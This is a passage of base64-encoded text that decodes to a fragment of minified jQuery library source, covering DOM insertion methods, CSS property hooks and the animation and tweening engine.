ZCAwfW5bUS5leHBhbmRvXSYmKG5bUS5leHBhbmRvXT12b2lkIDApfX19KSxTLmZuLmV4dGVuZCh7ZGV0YWNoOmZ1bmN0aW9uKGUpe3JldHVybiBPZSh0aGlzLGUsITApfSxyZW1vdmU6ZnVuY3Rpb24oZSl7cmV0dXJuIE9lKHRoaXMsZSl9LHRleHQ6ZnVuY3Rpb24oZSl7cmV0dXJuIEIodGhpcyxmdW5jdGlvbihlKXtyZXR1cm4gdm9pZCAwPT09ZT9TLnRleHQodGhpcyk6dGhpcy5lbXB0eSgpLmVhY2goZnVuY3Rpb24oKXsxIT09dGhpcy5ub2RlVHlwZSYmMTEhPT10aGlzLm5vZGVUeXBlJiY5IT09dGhpcy5ub2RlVHlwZXx8KHRoaXMudGV4dENvbnRlbnQ9ZSl9KX0sbnVsbCxlLGFyZ3VtZW50cy5sZW5ndGgpfSxhcHBlbmQ6ZnVuY3Rpb24oKXtyZXR1cm4gSGUodGhpcyxhcmd1bWVudHMsZnVuY3Rpb24oZSl7MSE9PXRoaXMubm9kZVR5cGUmJjExIT09dGhpcy5ub2RlVHlwZSYmOSE9PXRoaXMubm9kZVR5cGV8fGplKHRoaXMsZSkuYXBwZW5kQ2hpbGQoZSl9KX0scHJlcGVuZDpmdW5jdGlvbigpe3JldHVybiBIZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXtpZigxPT09dGhpcy5ub2RlVHlwZXx8MTE9PT10aGlzLm5vZGVUeXBlfHw5PT09dGhpcy5ub2RlVHlwZSl7dmFyIHQ9amUodGhpcyxlKTt0Lmluc2VydEJlZm9yZShlLHQuZmlyc3RDaGlsZCl9fSl9LGJlZm9yZTpmdW5jdGlvbigpe3JldHVybiBIZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt0aGlzLnBhcmVudE5vZGUmJnRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoZSx0aGlzKX0pfSxhZnRlcjpmdW5jdGlvbigpe3JldHVybiBIZSh0aGlzLGFyZ3VtZW50cyxmdW5jdGlvbihlKXt0aGlzLnBhcmVudE5vZGUmJnRoaXMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoZSx0aGlzLm5leHRTaWJsaW5nKX0pfSxlbXB0eTpmdW5jdGlvbigpe2Zvcih2YXIgZSx0PTA7bnVsbCE9KGU9dGhpc1t0XSk7dCsrKTE9PT1lLm5vZGVUeXBlJiYoUy5jbGVhbkRhdGEoeWUoZSwhMSkpLGUudGV4dENvbnRlbnQ9IiIpO3JldHVybiB0aGlzfSxjbG9uZTpmdW5jdGlvbihlLHQpe3JldHVybiBlPW51bGwhPWUmJmUsdD1udWxsPT10P2U6dCx0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiBTLmNsb25lKHRoaXMsZSx0KX0pfSxodG1sOmZ1bmN0aW9uKGUpe3JldHVybiBCKHRoaXMsZnVuY3Rpb24oZSl7dmFyIHQ9dGhpc1swXXx8e30sbj0wLHI9dGhpcy5sZW5ndGg7aWYodm9pZCAwPT09ZSYmMT09PXQubm9kZVR5cGUpcmV0dXJuIHQuaW5uZXJIVE1MO2lmKCJzdHJpbmciPT10eXBlb2YgZSYmIWtlLnRlc3QoZSkmJiFnZVsoZGUuZXhlYyhlKXx8WyIiLCIiXSlbMV0udG9Mb3dlckNhc2UoKV0pe2U9Uy5odG1sUHJlZmlsdGVyKGUpO3RyeXtmb3IoO248cjtuKyspMT09PSh0PXRoaXNbbl18fHt9KS5ub2RlVHlwZSYmKFMuY2xlYW5EYXRhKHllKHQsITEpKSx0LmlubmVySFRNTD1lKTt0PTB9Y2F0Y2goZSl7fX10JiZ0aGlzLmVtcHR5KCkuYXBwZW5kKGUpfSxudWxsLGUsYXJndW1lbnRzLmxlbmd0aCl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKCl7dmFyIG49W107cmV0dXJuIEhlKHRoaXMsYXJndW1lbnRzLGZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMucGFyZW50Tm9kZTtTLmluQXJyYXkodGhpcyxuKTwwJiYoUy5jbGVhbkRhdGEoeWUodGhpcykpLHQmJnQucmVwbGFjZUNoaWxkKGUsdGhpcykpfSxuKX19KSxTLmVhY2goe2FwcGVuZFRvOiJhcHBlbmQiLHByZXBlbmRUbzoicHJlcGVuZCIsaW5zZXJ0QmVmb3JlOiJiZWZvcmUiLGluc2VydEFmdGVyOiJhZnRlciIscmVwbGFjZUFsbDoicmVwbGFjZVdpdGgifSxmdW5jdGlvbihlLGEpe1MuZm5bZV09ZnVuY3Rpb24oZSl7Zm9yKHZhciB0LG49W10scj1TKGUpLGk9ci5sZW5ndGgtMSxvPTA7bzw9aTtvKyspdD1vPT09aT90aGlzOnRoaXMuY2xvbmUoITApLFMocltvXSlbYV0odCksdS5hcHBseShuLHQuZ2V0KCkpO3JldHVybiB0aGlzLnB1c2hTdGFjayhuKX19KTt2YXIgUGU9bmV3IFJlZ0V4cCgiXigiK2VlKyIpKD8hcHgpW2EteiVdKyQiLCJpIiksUmU9L14tLS8sTWU9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3O3JldHVybiB0JiZ0Lm9wZW5lcnx8KHQ9QyksdC5nZXRDb21wdXRlZFN0eWxlKGUpfSxJZT1mdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvPXt9O2ZvcihpIGluIHQpb1tpXT1lLnN0eWxlW2ldLGUuc3R5bGVbaV09dFtpXTtmb3IoaSBpbiByPW4uY2FsbChlKSx0KWUuc3R5bGVbaV09b1tpXTtyZXR1cm4gcn0sV2U9bmV3IFJlZ0V4cChuZS5qb2luKCJ8IiksImkiKSxGZT0iW1xceDIwXFx0XFxyXFxuXFxmXSIsJGU9bmV3IFJlZ0V4cCgiXiIrRmUrIit8KCg/Ol58W15cXFxcXSkoPzpcXFxcLikqKSIrRmUrIiskIiwiZyIpO2Z1bmN0aW9uIEJlKGUsdCxuKXt2YXIgcixpLG8sYSxzPVJlLnRlc3QodCksdT1lLnN0eWxlO3JldHVybihuPW58fE1lKGUpKSYmKGE9bi5nZXRQcm9wZXJ0eVZhbHVlKHQpfHxuW3RdLHMmJihhPWEucmVwbGFjZSgkZSwiJDEiKSksIiIhPT1hfHxpZShlKXx8KGE9Uy5zdHlsZShlLHQpKSwhdi5waXhlbEJveFN0eWxlcygpJiZQZS50ZXN0KGEpJiZXZS50ZXN0KHQpJiYocj11LndpZHRoLGk9dS5taW5XaWR0aCxvPXUubWF4V2lkdGgsdS5taW5XaWR0aD11Lm1heFdpZHRoPXUud2lkdGg9YSxhPW4ud2lkdGgsdS53aWR0aD1yLHUubWluV2lkdGg9aSx1Lm1heFdpZHRoPW8pKSx2b2lkIDAhPT1hP2ErIiI6YX1mdW5jdGlvbiBfZShlLHQpe3JldHVybntnZXQ6ZnVuY3Rpb24oKXtpZighZSgpKXJldHVybih0aGlzLmdldD10KS5hcHBseSh0aGlzLGFyZ3VtZW50cyk7ZGVsZXRlIHRoaXMuZ2V0fX19IWZ1bmN0aW9uKCl7ZnVuY3Rpb24gZSgpe2lmKGwpe3Uuc3R5bGUuY3NzVGV4dD0icG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTExMTFweDt3aWR0aDo2MHB4O21hcmdpbi10b3A6MXB4O3BhZGRpbmc6MDtib3JkZXI6MCIsbC5zdHlsZS5jc3NUZXh0PSJwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmJsb2NrO2JveC1zaXppbmc6Ym9yZGVyLWJveDtvdmVyZmxvdzpzY3JvbGw7bWFyZ2luOmF1dG87Ym9yZGVyOjFweDtwYWRkaW5nOjFweDt3aWR0aDo2MCU7dG9wOjElIixyZS5hcHBlbmRDaGlsZCh1KS5hcHBlbmRDaGlsZChsKTt2YXIgZT1DLmdldENvbXB1dGVkU3R5bGUobCk7bj0iMSUiIT09ZS50b3Ascz0xMj09PXQoZS5tYXJnaW5MZWZ0KSxsLnN0eWxlLnJpZ2h0PSI2MCUiLG89MzY9PT10KGUucmlnaHQpLHI9MzY9PT10KGUud2lkdGgpLGwuc3R5bGUucG9zaXRpb249ImFic29sdXRlIixpPTEyPT09dChsLm9mZnNldFdpZHRoLzMpLHJlLnJlbW92ZUNoaWxkKHUpLGw9bnVsbH19ZnVuY3Rpb24gdChlKXtyZXR1cm4gTWF0aC5yb3VuZChwYXJzZUZsb2F0KGUpKX12YXIgbixyLGksbyxhLHMsdT1FLmNyZWF0ZUVsZW1lbnQoImRpdiIpLGw9RS5jcmVhdGVFbGVtZW50KCJkaXYiKTtsLnN0eWxlJiYobC5zdHlsZS5iYWNrZ3JvdW5kQ2xpcD0iY29udGVudC1ib3giLGwuY2xvbmVOb2RlKCEwKS5zdHlsZS5iYWNrZ3JvdW5kQ2xpcD0iIix2LmNsZWFyQ2xvbmVTdHlsZT0iY29udGVudC1ib3giPT09bC5zdHlsZS5iYWNrZ3JvdW5kQ2xpcCxTLmV4dGVuZCh2LHtib3hTaXppbmdSZWxpYWJsZTpmdW5jdGlvbigpe3JldHVybiBlKCkscn0scGl4ZWxCb3hTdHlsZXM6ZnVuY3Rpb24oKXtyZXR1cm4gZSgpLG99LHBpeGVsUG9zaXRpb246ZnVuY3Rpb24oKXtyZXR1cm4gZSgpLG59LHJlbGlhYmxlTWFyZ2luTGVmdDpmdW5jdGlvbigpe3JldHVybiBlKCksc30sc2Nyb2xsYm94U2l6ZTpmdW5jdGlvbigpe3JldHVybiBlKCksaX0scmVsaWFibGVUckRpbWVuc2lvbnM6ZnVuY3Rpb24oKXt2YXIgZSx0LG4scjtyZXR1cm4gbnVsbD09YSYmKGU9RS5jcmVhdGVFbGVtZW50KCJ0YWJsZSIpLHQ9RS5jcmVhdGVFbGVtZW50KCJ0ciIpLG49RS5jcmVhdGVFbGVtZW50KCJkaXYiKSxlLnN0eWxlLmNzc1RleHQ9InBvc2l0aW9uOmFic29sdXRlO2xlZnQ6LTExMTExcHg7Ym9yZGVyLWNvbGxhcHNlOnNlcGFyYXRlIix0LnN0eWxlLmNzc1RleHQ9ImJvcmRlcjoxcHggc29saWQiLHQuc3R5bGUuaGVpZ2h0PSIxcHgiLG4uc3R5bGUuaGVpZ2h0PSI5cHgiLG4uc3R5bGUuZGlzcGxheT0iYmxvY2siLHJlLmFwcGVuZENoaWxkKGUpLmFwcGVuZENoaWxkKHQpLmFwcGVuZENoaWxkKG4pLHI9Qy5nZXRDb21wdXRlZFN0eWxlKHQpLGE9cGFyc2VJbnQoci5oZWlnaHQsMTApK3BhcnNlSW50KHIuYm9yZGVyVG9wV2lkdGgsMTApK3BhcnNlSW50KHIuYm9yZGVyQm90dG9tV2lkdGgsMTApPT09dC5vZmZzZXRIZWlnaHQscmUucmVtb3ZlQ2hpbGQoZSkpLGF9fSkpfSgpO3ZhciB6ZT1bIldlYmtpdCIsIk1veiIsIm1zIl0sVWU9RS5jcmVhdGVFbGVtZW50KCJkaXYiKS5zdHlsZSxYZT17fTtmdW5jdGlvbiBWZShlKXt2YXIgdD1TLmNzc1Byb3BzW2VdfHxYZVtlXTtyZXR1cm4gdHx8KGUgaW4gVWU/ZTpYZVtlXT1mdW5jdGlvbihlKXt2YXIgdD1lWzBdLnRvVXBwZXJDYXNlKCkrZS5zbGljZSgxKSxuPXplLmxlbmd0aDt3aGlsZShuLS0paWYoKGU9emVbbl0rdClpbiBVZSlyZXR1cm4gZX0oZSl8fGUpfXZhciBHZT0vXihub25lfHRhYmxlKD8hLWNbZWFdKS4rKS8sWWU9e3Bvc2l0aW9uOiJhYnNvbHV0ZSIsdmlzaWJpbGl0eToiaGlkZGVuIixkaXNwbGF5OiJibG9jayJ9LFFlPXtsZXR0ZXJTcGFjaW5nOiIwIixmb250V2VpZ2h0OiI0MDAifTtmdW5jdGlvbiBKZShlLHQsbil7dmFyIHI9dGUuZXhlYyh0KTtyZXR1cm4gcj9NYXRoLm1heCgwLHJbMl0tKG58fDApKSsoclszXXx8InB4Iik6dH1mdW5jdGlvbiBLZShlLHQsbixyLGksbyl7dmFyIGE9IndpZHRoIj09PXQ/MTowLHM9MCx1PTA7aWYobj09PShyPyJib3JkZXIiOiJjb250ZW50IikpcmV0dXJuIDA7Zm9yKDthPDQ7YSs9MikibWFyZ2luIj09PW4mJih1Kz1TLmNzcyhlLG4rbmVbYV0sITAsaSkpLHI/KCJjb250ZW50Ij09PW4mJih1LT1TLmNzcyhlLCJwYWRkaW5nIituZVthXSwhMCxpKSksIm1hcmdpbiIhPT1uJiYodS09Uy5jc3MoZSwiYm9yZGVyIituZVthXSsiV2lkdGgiLCEwLGkpKSk6KHUrPVMuY3NzKGUsInBhZGRpbmciK25lW2FdLCEwLGkpLCJwYWRkaW5nIiE9PW4/dSs9Uy5jc3MoZSwiYm9yZGVyIituZVthXSsiV2lkdGgiLCEwLGkpOnMrPVMuY3NzKGUsImJvcmRlciIrbmVbYV0rIldpZHRoIiwhMCxpKSk7cmV0dXJuIXImJjA8PW8mJih1Kz1NYXRoLm1heCgwLE1hdGguY2VpbChlWyJvZmZzZXQiK3RbMF0udG9VcHBlckNhc2UoKSt0LnNsaWNlKDEpXS1vLXUtcy0uNSkpfHwwKSx1fWZ1bmN0aW9uIFplKGUsdCxuKXt2YXIgcj1NZShlKSxpPSghdi5ib3hTaXppbmdSZWxpYWJsZSgpfHxuKSYmImJvcmRlci1ib3giPT09Uy5jc3MoZSwiYm94U2l6aW5nIiwhMSxyKSxvPWksYT1CZShlLHQscikscz0ib2Zmc2V0Iit0WzBdLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZihQZS50ZXN0KGEpKXtpZighbilyZXR1cm4gYTthPSJhdXRvIn1yZXR1cm4oIXYuYm94U2l6aW5nUmVsaWFibGUoKSYmaXx8IXYucmVsaWFibGVUckRpbWVuc2lvbnMoKSYmQShlLCJ0ciIpfHwiYXV0byI9PT1hfHwhcGFyc2VGbG9hdChhKSYmImlubGluZSI9PT1TLmNzcyhlLCJkaXNwbGF5IiwhMSxyKSkmJmUuZ2V0Q2xpZW50UmVjdHMoKS5sZW5ndGgmJihpPSJib3JkZXItYm94Ij09PVMuY3NzKGUsImJveFNpemluZyIsITEsciksKG89cyBpbiBlKSYmKGE9ZVtzXSkpLChhPXBhcnNlRmxvYXQoYSl8fDApK0tlKGUsdCxufHwoaT8iYm9yZGVyIjoiY29udGVudCIpLG8scixhKSsicHgifWZ1bmN0aW9uIGV0KGUsdCxuLHIsaSl7cmV0dXJuIG5ldyBldC5wcm90b3R5cGUuaW5pdChlLHQsbixyLGkpfVMuZXh0ZW5kKHtjc3NIb29rczp7b3BhY2l0eTp7Z2V0OmZ1bmN0aW9uKGUsdCl7aWYodCl7dmFyIG49QmUoZSwib3BhY2l0eSIpO3JldHVybiIiPT09bj8iMSI6bn19fX0sY3NzTnVtYmVyOnthbmltYXRpb25JdGVyYXRpb25Db3VudDohMCxjb2x1bW5Db3VudDohMCxmaWxsT3BhY2l0eTohMCxmbGV4R3JvdzohMCxmbGV4U2hyaW5rOiEwLGZvbnRXZWlnaHQ6ITAsZ3JpZEFyZWE6ITAsZ3JpZENvbHVtbjohMCxncmlkQ29sdW1uRW5kOiEwLGdyaWRDb2x1bW5TdGFydDohMCxncmlkUm93OiEwLGdyaWRSb3dFbmQ6ITAsZ3JpZFJvd1N0YXJ0OiEwLGxpbmVIZWlnaHQ6ITAsb3BhY2l0eTohMCxvcmRlcjohMCxvcnBoYW5zOiEwLHdpZG93czohMCx6SW5kZXg6ITAsem9vbTohMH0sY3NzUHJvcHM6e30sc3R5bGU6ZnVuY3Rpb24oZSx0LG4scil7aWYoZSYmMyE9PWUubm9kZVR5cGUmJjghPT1lLm5vZGVUeXBlJiZlLnN0eWxlKXt2YXIgaSxvLGEscz1YKHQpLHU9UmUudGVzdCh0KSxsPWUuc3R5bGU7aWYodXx8KHQ9VmUocykpLGE9Uy5jc3NIb29rc1t0XXx8Uy5jc3NIb29rc1tzXSx2b2lkIDA9PT1uKXJldHVybiBhJiYiZ2V0ImluIGEmJnZvaWQgMCE9PShpPWEuZ2V0KGUsITEscikpP2k6bFt0XTsic3RyaW5nIj09PShvPXR5cGVvZiBuKSYmKGk9dGUuZXhlYyhuKSkmJmlbMV0mJihuPXNlKGUsdCxpKSxvPSJudW1iZXIiKSxudWxsIT1uJiZuPT1uJiYoIm51bWJlciIhPT1vfHx1fHwobis9aSYmaVszXXx8KFMuY3NzTnVtYmVyW3NdPyIiOiJweCIpKSx2LmNsZWFyQ2xvbmVTdHlsZXx8IiIhPT1ufHwwIT09dC5pbmRleE9mKCJiYWNrZ3JvdW5kIil8fChsW3RdPSJpbmhlcml0IiksYSYmInNldCJpbiBhJiZ2b2lkIDA9PT0obj1hLnNldChlLG4scikpfHwodT9sLnNldFByb3BlcnR5KHQsbik6bFt0XT1uKSl9fSxjc3M6ZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbyxhLHM9WCh0KTtyZXR1cm4gUmUudGVzdCh0KXx8KHQ9VmUocykpLChhPVMuY3NzSG9va3NbdF18fFMuY3NzSG9va3Nbc10pJiYiZ2V0ImluIGEmJihpPWEuZ2V0KGUsITAsbikpLHZvaWQgMD09PWkmJihpPUJlKGUsdCxyKSksIm5vcm1hbCI9PT1pJiZ0IGluIFFlJiYoaT1RZVt0XSksIiI9PT1ufHxuPyhvPXBhcnNlRmxvYXQoaSksITA9PT1ufHxpc0Zpbml0ZShvKT9vfHwwOmkpOml9fSksUy5lYWNoKFsiaGVpZ2h0Iiwid2lkdGgiXSxmdW5jdGlvbihlLHUpe1MuY3NzSG9va3NbdV09e2dldDpmdW5jdGlvbihlLHQsbil7aWYodClyZXR1cm4hR2UudGVzdChTLmNzcyhlLCJkaXNwbGF5IikpfHxlLmdldENsaWVudFJlY3RzKCkubGVuZ3RoJiZlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLndpZHRoP1plKGUsdSxuKTpJZShlLFllLGZ1bmN0aW9uKCl7cmV0dXJuIFplKGUsdSxuKX0pfSxzZXQ6ZnVuY3Rpb24oZSx0LG4pe3ZhciByLGk9TWUoZSksbz0hdi5zY3JvbGxib3hTaXplKCkmJiJhYnNvbHV0ZSI9PT1pLnBvc2l0aW9uLGE9KG98fG4pJiYiYm9yZGVyLWJveCI9PT1TLmNzcyhlLCJib3hTaXppbmciLCExLGkpLHM9bj9LZShlLHUsbixhLGkpOjA7cmV0dXJuIGEmJm8mJihzLT1NYXRoLmNlaWwoZVsib2Zmc2V0Iit1WzBdLnRvVXBwZXJDYXNlKCkrdS5zbGljZSgxKV0tcGFyc2VGbG9hdChpW3VdKS1LZShlLHUsImJvcmRlciIsITEsaSktLjUpKSxzJiYocj10ZS5leGVjKHQpKSYmInB4IiE9PShyWzNdfHwicHgiKSYmKGUuc3R5bGVbdV09dCx0PVMuY3NzKGUsdSkpLEplKDAsdCxzKX19fSksUy5jc3NIb29rcy5tYXJnaW5MZWZ0PV9lKHYucmVsaWFibGVNYXJnaW5MZWZ0LGZ1bmN0aW9uKGUsdCl7aWYodClyZXR1cm4ocGFyc2VGbG9hdChCZShlLCJtYXJnaW5MZWZ0IikpfHxlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLmxlZnQtSWUoZSx7bWFyZ2luTGVmdDowfSxmdW5jdGlvbigpe3JldHVybiBlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLmxlZnR9KSkrInB4In0pLFMuZWFjaCh7bWFyZ2luOiIiLHBhZGRpbmc6IiIsYm9yZGVyOiJXaWR0aCJ9LGZ1bmN0aW9uKGksbyl7Uy5jc3NIb29rc1tpK29dPXtleHBhbmQ6ZnVuY3Rpb24oZSl7Zm9yKHZhciB0PTAsbj17fSxyPSJzdHJpbmciPT10eXBlb2YgZT9lLnNwbGl0KCIgIik6W2VdO3Q8NDt0KyspbltpK25lW3RdK29dPXJbdF18fHJbdC0yXXx8clswXTtyZXR1cm4gbn19LCJtYXJnaW4iIT09aSYmKFMuY3NzSG9va3NbaStvXS5zZXQ9SmUpfSksUy5mbi5leHRlbmQoe2NzczpmdW5jdGlvbihlLHQpe3JldHVybiBCKHRoaXMsZnVuY3Rpb24oZSx0LG4pe3ZhciByLGksbz17fSxhPTA7aWYoQXJyYXkuaXNBcnJheSh0KSl7Zm9yKHI9TWUoZSksaT10Lmxlbmd0aDthPGk7YSsrKW9bdFthXV09Uy5jc3MoZSx0W2FdLCExLHIpO3JldHVybiBvfXJldHVybiB2b2lkIDAhPT1uP1Muc3R5bGUoZSx0LG4pOlMuY3NzKGUsdCl9LGUsdCwxPGFyZ3VtZW50cy5sZW5ndGgpfX0pLCgoUy5Ud2Vlbj1ldCkucHJvdG90eXBlPXtjb25zdHJ1Y3RvcjpldCxpbml0OmZ1bmN0aW9uKGUsdCxuLHIsaSxvKXt0aGlzLmVsZW09ZSx0aGlzLnByb3A9bix0aGlzLmVhc2luZz1pfHxTLmVhc2luZy5fZGVmYXVsdCx0aGlzLm9wdGlvbnM9dCx0aGlzLnN0YXJ0PXRoaXMubm93PXRoaXMuY3VyKCksdGhpcy5lbmQ9cix0aGlzLnVuaXQ9b3x8KFMuY3NzTnVtYmVyW25dPyIiOiJweCIpfSxjdXI6ZnVuY3Rpb24oKXt2YXIgZT1ldC5wcm9wSG9va3NbdGhpcy5wcm9wXTtyZXR1cm4gZSYmZS5nZXQ/ZS5nZXQodGhpcyk6ZXQucHJvcEhvb2tzLl9kZWZhdWx0LmdldCh0aGlzKX0scnVuOmZ1bmN0aW9uKGUpe3ZhciB0LG49ZXQucHJvcEhvb2tzW3RoaXMucHJvcF07cmV0dXJuIHRoaXMub3B0aW9ucy5kdXJhdGlvbj90aGlzLnBvcz10PVMuZWFzaW5nW3RoaXMuZWFzaW5nXShlLHRoaXMub3B0aW9ucy5kdXJhdGlvbiplLDAsMSx0aGlzLm9wdGlvbnMuZHVyYXRpb24pOnRoaXMucG9zPXQ9ZSx0aGlzLm5vdz0odGhpcy5lbmQtdGhpcy5zdGFydCkqdCt0aGlzLnN0YXJ0LHRoaXMub3B0aW9ucy5zdGVwJiZ0aGlzLm9wdGlvbnMuc3RlcC5jYWxsKHRoaXMuZWxlbSx0aGlzLm5vdyx0aGlzKSxuJiZuLnNldD9uLnNldCh0aGlzKTpldC5wcm9wSG9va3MuX2RlZmF1bHQuc2V0KHRoaXMpLHRoaXN9fSkuaW5pdC5wcm90b3R5cGU9ZXQucHJvdG90eXBlLChldC5wcm9wSG9va3M9e19kZWZhdWx0OntnZXQ6ZnVuY3Rpb24oZSl7dmFyIHQ7cmV0dXJuIDEhPT1lLmVsZW0ubm9kZVR5cGV8fG51bGwhPWUuZWxlbVtlLnByb3BdJiZudWxsPT1lLmVsZW0uc3R5bGVbZS5wcm9wXT9lLmVsZW1bZS5wcm9wXToodD1TLmNzcyhlLmVsZW0sZS5wcm9wLCIiKSkmJiJhdXRvIiE9PXQ/dDowfSxzZXQ6ZnVuY3Rpb24oZSl7Uy5meC5zdGVwW2UucHJvcF0/Uy5meC5zdGVwW2UucHJvcF0oZSk6MSE9PWUuZWxlbS5ub2RlVHlwZXx8IVMuY3NzSG9va3NbZS5wcm9wXSYmbnVsbD09ZS5lbGVtLnN0eWxlW1ZlKGUucHJvcCldP2UuZWxlbVtlLnByb3BdPWUubm93OlMuc3R5bGUoZS5lbGVtLGUucHJvcCxlLm5vdytlLnVuaXQpfX19KS5zY3JvbGxUb3A9ZXQucHJvcEhvb2tzLnNjcm9sbExlZnQ9e3NldDpmdW5jdGlvbihlKXtlLmVsZW0ubm9kZVR5cGUmJmUuZWxlbS5wYXJlbnROb2RlJiYoZS5lbGVtW2UucHJvcF09ZS5ub3cpfX0sUy5lYXNpbmc9e2xpbmVhcjpmdW5jdGlvbihlKXtyZXR1cm4gZX0sc3dpbmc6ZnVuY3Rpb24oZSl7cmV0dXJuLjUtTWF0aC5jb3MoZSpNYXRoLlBJKS8yfSxfZGVmYXVsdDoic3dpbmcifSxTLmZ4PWV0LnByb3RvdHlwZS5pbml0LFMuZnguc3RlcD17fTt2YXIgdHQsbnQscnQsaXQsb3Q9L14oPzp0b2dnbGV8c2hvd3xoaWRlKSQvLGF0PS9xdWV1ZUhvb2tzJC87ZnVuY3Rpb24gc3QoKXtudCYmKCExPT09RS5oaWRkZW4mJkMucmVxdWVzdEFuaW1hdGlvbkZyYW1lP0MucmVxdWVzdEFuaW1hdGlvbkZyYW1lKHN0KTpDLnNldFRpbWVvdXQoc3QsUy5meC5pbnRlcnZhbCksUy5meC50aWNrKCkpfWZ1bmN0aW9uIHV0KCl7cmV0dXJuIEMuc2V0VGltZW91dChmdW5jdGlvbigpe3R0PXZvaWQgMH0pLHR0PURhdGUubm93KCl9ZnVuY3Rpb24gbHQoZSx0KXt2YXIgbixyPTAsaT17aGVpZ2h0OmV9O2Zvcih0PXQ/MTowO3I8NDtyKz0yLXQpaVsibWFyZ2luIisobj1uZVtyXSldPWlbInBhZGRpbmciK25dPWU7cmV0dXJuIHQmJihpLm9wYWNpdHk9aS53aWR0aD1lKSxpfWZ1bmN0aW9uIGN0KGUsdCxuKXtmb3IodmFyIHIsaT0oZnQudHdlZW5lcnNbdF18fFtdKS5jb25jYXQoZnQudHdlZW5lcnNbIioiXSksbz0wLGE9aS5sZW5ndGg7bzxhO28rKylpZihyPWlbb10uY2FsbChuLHQsZSkpcmV0dXJuIHJ9ZnVuY3Rpb24gZnQobyxlLHQpe3ZhciBuLGEscj0wLGk9ZnQucHJlZmlsdGVycy5sZW5ndGgscz1TLkRlZmVycmVkKCkuYWx3YXlzKGZ1bmN0aW9uKCl7ZGVsZXRlIHUuZWxlbX0pLHU9ZnVuY3Rpb24oKXtpZihhKXJldHVybiExO2Zvcih2YXIgZT10dHx8dXQoKSx0PU1hdGgubWF4KDAsbC5zdGFydFRpbWUrbC5kdXJhdGlvbi1lKSxuPTEtKHQvbC5kdXJhdGlvbnx8MCkscj0wLGk9bC50d2VlbnMubGVuZ3RoO3I8aTtyKyspbC50d2VlbnNbcl0ucnVuKG4pO3JldHVybiBzLm5vdGlmeVdpdGgobyxbbCxuLHRdKSxuPDEmJmk/dDooaXx8cy5ub3RpZnlXaXRoKG8sW2wsMSwwXSkscy5yZXNvbHZlV2l0aChvLFtsXSksITEpfSxsPXMucHJvbWlzZSh7ZWxlbTpvLHByb3BzOlMuZXh0ZW5kKHt9LGUpLG9wdHM6Uy5leHRlbmQoITAse3NwZWNpYWxFYXNpbmc6e30sZWFzaW5nOlMuZWFzaW5nLl9kZWZhdWx0fSx0KSxvcmlnaW5hbFByb3BlcnRpZXM6ZSxvcmlnaW5hbE9wdGlvbnM6dCxzdGFydFRpbWU6dHR8fHV0KCksZHVyYXRpb246dC5kdXJhdGlvbix0d2VlbnM6W10sY3JlYXRlVHdlZW46ZnVuY3Rpb24oZSx0KXt2YXIgbj1TLlR3ZWVuKG8sbC5vcHRzLGUsdCxsLm9wdHMuc3BlY2lhbEVhc2luZ1tlXXx8bC5vcHRzLmVhc2luZyk7cmV0dXJuIGwudHdlZW5zLnB1c2gobiksbn0sc3RvcDpmdW5jdGlvbihlKXt2YXIgdD0wLG49ZT9sLnR3ZWVucy5sZW5ndGg6MDtpZihhKXJldHVybiB0aGlzO2ZvcihhPSEwO3Q8bjt0KyspbC50d2VlbnNbdF0ucnVuKDEpO3JldHVybiBlPyhzLm5vdGlmeVdpdGgobyxbbCwxLDBdKSxzLnJlc29sdmVXaXRoKG8sW2wsZV0pKTpzLnJlamVjdFdpdGgobyxbbCxlXSksdGhpc319KSxjPWwucHJvcHM7Zm9yKCFmdW5jdGlvbihlLHQpe3ZhciBuLHIsaSxvLGE7Zm9yKG4gaW4gZSlpZihpPXRbcj1YKG4pXSxvPWVbbl0sQXJyYXkuaXNBcnJheShvKSYmKGk9b1sxXSxvPWVbbl09b1swXSksbiE9PXImJihlW3JdPW8sZGVsZXRlIGVbbl0pLChhPVMuY3NzSG9va3Nbcl0pJiYiZXhwYW5kImluIGEpZm9yKG4gaW4gbz1hLmV4cGFuZChvKSxkZWxldGUgZVtyXSxvKW4gaW4gZXx8KGVbbl09b1tuXSx0W25dPWkpO2Vsc2UgdFtyXT1pfShjLGwub3B0cy5zcGVjaWFsRWFzaW5nKTtyPGk7cisrKWlmKG49ZnQucHJlZmlsdGVyc1tyXS5jYWxsKGwsbyxjLGwub3B0cykpcmV0dXJuIG0obi5zdG9wKSYmKFMuX3F1ZXVlSG9va3MobC5lbGVtLGwub3B0cy5xdWV1ZSkuc3RvcD1uLnN0b3AuYmluZChuKSksbjtyZXR1cm4gUy5tYXAoYyxjdCxsKSxtKGwub3B0cy5zdGFydCkmJmwub3B0cy5zdGFydC5jYWxsKG8sbCksbC5wcm9ncmVzcyhsLm9wdHMucHJvZ3Jlc3MpLmRvbmUobC5vcHRzLmRvbmUsbC5vcHRzLmNvbXBsZXRlKS5mYWlsKGwub3B0cy5mYWlsKS5hbHdheXMobC5vcHRzLmFsd2F5cyksUy5meC50aW1lcihTLmV4dGVuZCh1LHtlbGVtOm8sYW5pbTpsLHF1ZXVlOmwub3B0cy5xdWV1ZX0pKSxsfVMuQW5pbWF0aW9uPVMuZXh0ZW5kKGZ0LHt0d2VlbmVyczp7IioiOltmdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuY3JlYXRlVHdlZW4oZSx0KTtyZXR1cm4gc2Uobi5lbGVtLGUsdGUuZXhlYyh0KSxuKSxufV19LHR3ZWVuZXI6ZnVuY3Rpb24oZSx0KXttKGUpPyh0PWUsZT1bIioiXSk6ZT1lLm1hdGNoKFApO2Zvcih2YXIgbixyPTAsaT1lLmxlbmd